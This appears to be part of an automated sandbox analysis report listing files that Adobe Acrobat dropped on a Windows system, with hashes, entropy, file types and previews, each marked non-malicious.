SSDEEP:	6:iO4qVpV7t+q2PN72nKuAl9OmbzNMxIFUtSqVpQ1JZmwsqVpRZVkwON72nKuAl9Ob:7nXovVaHAa8jFUtZ+J/L/5OaHAa84J
MD5:	DE25D09D153BC0C70D1A14A08B804478
SHA1:	E1AB0D30AFCCBDB923F98D702E5D4E859AD5F159
SHA-256:	FBB9C1F2F8F628CF348C50EA316E43B29E651A6B93D4E9695E4BD3A8CD300B68
SHA-512:	84EF540ED71D1C20D14D7ECF1A64982A68D1D872AE793F62B511324D236BC1453071714648E94FD1685B5F7B02854C16EEE069C6670667B3B20AF0FFF5F2E52F
Malicious:	false
Preview:	2025/01/10-20:15:11.033 aa8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:15:11.036 aa8 Recovering log #3.2025/01/10-20:15:11.037 aa8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444438681056618
Encrypted:	false
SSDEEP:	384:ye6ci5tFiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mus3OazzU89UTTgUL
MD5:	F75930354E789B7D80C5FF5BA838EC52
SHA1:	E34FA3320A7F914DB7642D16AE97C84130E58C07
SHA-256:	A9B26CF6445A267C6DC21290820D1410231C393D391D1F561263CC209B1A560A
SHA-512:	DEE76DD194FD603E025314BD82029DDE32A072C9E3C69F95C38C23FD8769358D026BD3F7A466F0A5EA548AE832D9F772A9D746934E155FC3848464F55F0F5C03
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7662236894282866
Encrypted:	false
SSDEEP:	48:7M8JioyVsioyioy1C7oy16oy1aKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1Of:7nJusCRXjBi7b9IVXEBodRBk0
MD5:	21F53675ED04A0F0AD2FD8310A701643
SHA1:	0FD596570916C1B3F10668AFC99037B6EE890982
SHA-256:	4DE74234D2834600EB5B4F7816FD3915FFCEBD8A714A11305565CAA86E200011
SHA-512:	779BF9E009C6C17DCDD61E4561E972A24D1F44E5E6D91FFD0BBC094F42E61C671462BB81765B46E192D4362BE7A0ADFDDF60C1A69BAE48C36B2B41E2ACA1E74A
Malicious:	false
Preview:	.... .c........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7282048283587708
Encrypted:	false
SSDEEP:	3:kkFklGqiPtfllXlE/HT8kOlJltNNX8RolJuRdxLlGB9lQRYwpDdt:kKfqiPeT8bNMa8RdWBwRd
MD5:	A93D8894AA47758756E9B2CA143386D0
SHA1:	C53CCC4072B73EDA78BBE921ED2DA837FF169B34
SHA-256:	88B6F2A33B8D53832713372FA343093A9C0AE297D62E527D6050BB4939272768
SHA-512:	6E44823E8B11A44BE7811A5FA2DD56F4343154DD04333CD1A2515C5CF319F2B4C4FF71CFD6E21AC729482FA245E2AD1D3C93EA1011C8E77428F53D276C30AF59
Malicious:	false
Preview:	p...... ........up.F.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2368928658074476
Encrypted:	false
SSDEEP:	6:kKfCL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:HCiDImsLNkPlE99SNxAhUe/3
MD5:	ED39A129D557C96304032325D3679EEC
SHA1:	1C011C6070CD73EFF406E1E4A1C152B3B2C99CF2
SHA-256:	1FABAE2EE2FD632D05F96FAC2C41C428C5E874D082C2FEE4AE32CAE03E6E3921
SHA-512:	921812A19CA42359D909BE3B330FD2BBD2A2529C128105F7B5FD5BA0A699C5B3ECC66C4ABF3BDD6703A382AA23250D162B158F004D9477335E7C370E73D408DA
Malicious:	false
Preview:	p...... ..........#Y.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6452

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6452

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.382083556229058
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzPh/DnZiQ0YlIUoAvJM3g98kUwPeUkwRe9:YvXKXxDcFGMbLUkee9
MD5:	9767BC7C04D795015DEEBF8721C0002B
SHA1:	69CA90EC8DA8CB8556E8491C2E53654FA5B76462
SHA-256:	448AACF7036106A3EBB1B5E4D6A76BB31ACE58F6724D9339CFF0B68C01E80E5B
SHA-512:	BF596AE686A08A20AD1C6CEE86F3C226C415324822244B9B21B394391332F3665E9F2E3F46C89686E2E9D034ECC97A4083B4135FC097D5B27BBE7FAA95FF7223
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75427871-22ff-4650-84c9-b215fb274697","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736710120,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.336861821018222
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzPh/DnZiQ0YlIUoAvJfBoTfXpnrPeUkwRe9:YvXKXxDcFGWTfXcUkee9
MD5:	7CF3CF829375C32E677F2592DEE8EA6B
SHA1:	9C40BAA3C909034E7E8255179D4D6F0E5EFC4E25
SHA-256:	21D9130D0FC4EDC746075C3729A7E4A80F16E14928821F40725D3A30A95F51EE
SHA-512:	8060E4964CC3C5AE1F0455D7ED528D3CEA9B96C9486F6D959C853DC88A28628CE903E797526993F66CB23CD7BC98FD2B9C2B1F13A64FD1D67A348B015F5EBB07
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75427871-22ff-4650-84c9-b215fb274697","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736710120,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.315261139886653
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzPh/DnZiQ0YlIUoAvJfBD2G6UpnrPeUkwRe9:YvXKXxDcFGR22cUkee9
MD5:	3540009ADA4BD636C03DBAF84D57677D
SHA1:	A819D46C81BE0F2552DD82D7F6AEE76A00319F87
SHA-256:	A39980BBDFA026FF483ACEF3EDDBE0DC0715B1F938A83F8FF54A5D2FAC027654
SHA-512:	18123DF37CDD5BDC765E95B8EB42DFF0EC37824CF8E537DB4F6FEA2FB0E8D41EB7886229ED81E5BD0E717F7678F7F0847112C3E9B11AB3140B113A30956C2653
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75427871-22ff-4650-84c9-b215fb274697","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736710120,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3627629799600784
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzPh/DnZiQ0YlIUoAvJfPmwrPeUkwRe9:YvXKXxDcFGH56Ukee9
MD5:	4503EA4426853594499210F2A20FA623
SHA1:	40F61BFB900D66DE79DB7007EA1B48625E33DB00
SHA-256:	19FEF6A582EF4549D6F71F6F6761C7B145D68AA049DF6FA0B55A1699F7B15784
SHA-512:	1F883AAD9065BCCA557E71E84C8423843F8D55F386E62F5D3E436E69996B8A392842C9B1ABA33E9A38793456721868532E1A69C5D7DE080B1572CE4F3C0B45A5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75427871-22ff-4650-84c9-b215fb274697","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736710120,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.701369799467543
Encrypted:	false
SSDEEP:	24:Yv6XxoKpLgE9cQx8LennAvzBvkn0RCmK8czOCCSb1:YvAhgy6SAFv5Ah8cv/J
MD5:	9931742B9C283848454E897F3246E35C
SHA1:	6C8ADB846D6F5A0937061546123A4099F1E41C4F
SHA-256:	2EF511FA555251F3F6BAAFC7F7B66366463535D05A799CB31396E01B0450888A
SHA-512:	F1D46CAA9CB4DAFD07FAEE18C8DC589150A54D7F82FCD8EFA449CBB920B46B0D993283BD5A458F18B770E1EE6692FD6DB86C3A1508C74B862C948DC817B362D8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75427871-22ff-4650-84c9-b215fb274697","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736710120,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.318361251861049
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzPh/DnZiQ0YlIUoAvJf8dPeUkwRe9:YvXKXxDcFGU8Ukee9
MD5:	1E0A772D1D2075B0171E1D5C1A4CBC38
SHA1:	6861A0BF3024E25D16C5C17CF862032FD4A2CAC2
SHA-256:	44A0CD085F529D842CF7D0665EAE8BC63D84FAE1B0A74B8AEA7A59973D2CCF39
SHA-512:	48B282FB7EF7D4B676D2454B26ECDF8FF3D66E06ACA7E3C94E1F1021E54747B2D375F44EAB80756F0E871B0EFFB2B4CFFE85C53384E6D5D2CBB86667A30B9049
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75427871-22ff-4650-84c9-b215fb274697","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736710120,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.320786033549481
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzPh/DnZiQ0YlIUoAvJfQ1rPeUkwRe9:YvXKXxDcFGY16Ukee9
MD5:	C1911B2F2E69BFD016FA0E764C965CF9
SHA1:	629144A01934E0497983B8C101837E5D6B1E8775
SHA-256:	5AF29B1CEB29A33862795D61D2809ECB39B4947027A101AE98C1BB0139F9B06A
